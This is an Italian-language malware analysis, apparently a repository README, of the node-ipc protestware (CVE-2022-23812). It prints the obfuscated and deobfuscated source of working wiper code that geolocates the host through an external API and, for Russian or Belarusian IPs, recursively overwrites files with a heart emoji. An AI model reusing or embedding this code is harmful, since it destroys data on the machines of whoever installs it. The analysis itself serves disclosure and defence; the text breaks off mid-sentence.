scriptzteam/node-ipc-malware-protestware-cve-2022-23812node-ipc è malware / protestware!
Il modulo RIAEvangelist/node-ipc contiene protestware peacenotwar.
Estratto da RIAEvangelist/node-ipc:
a partire da v11.0.0 e v9.2.2 questo modulo utilizza il modulo peacenotwar.
Ancora più importante, i commit 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 di RIAEvangelist/node-ipc contengono malware.
Il seguente blocco di codice è stato aggiunto nel caso in cui l'URL sopra sia disattivato
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
Ho deoffuscato il codice qui sopra e ho scoperto che se l'indirizzo IP pubblico della macchina host proveniva dalla Russia o dalla Bielorussia, node-ipc procedeva a sovrascrivere molti file con un'emoji a forma di cuore, in modo ricorsivo, risalendo le directory padre:
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
a.writeFile(i, c.toString("utf8"), function () {});
} catch (t) {}
}
}
return f;
}
const ssl = true;
export { ssl as default, ssl };
Ecco alcuni estratti del codice dannoso:
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
Di seguito un esempio di cosa sarebbero i parametri passati a a.writeFile(i,c.toString("utf8"):
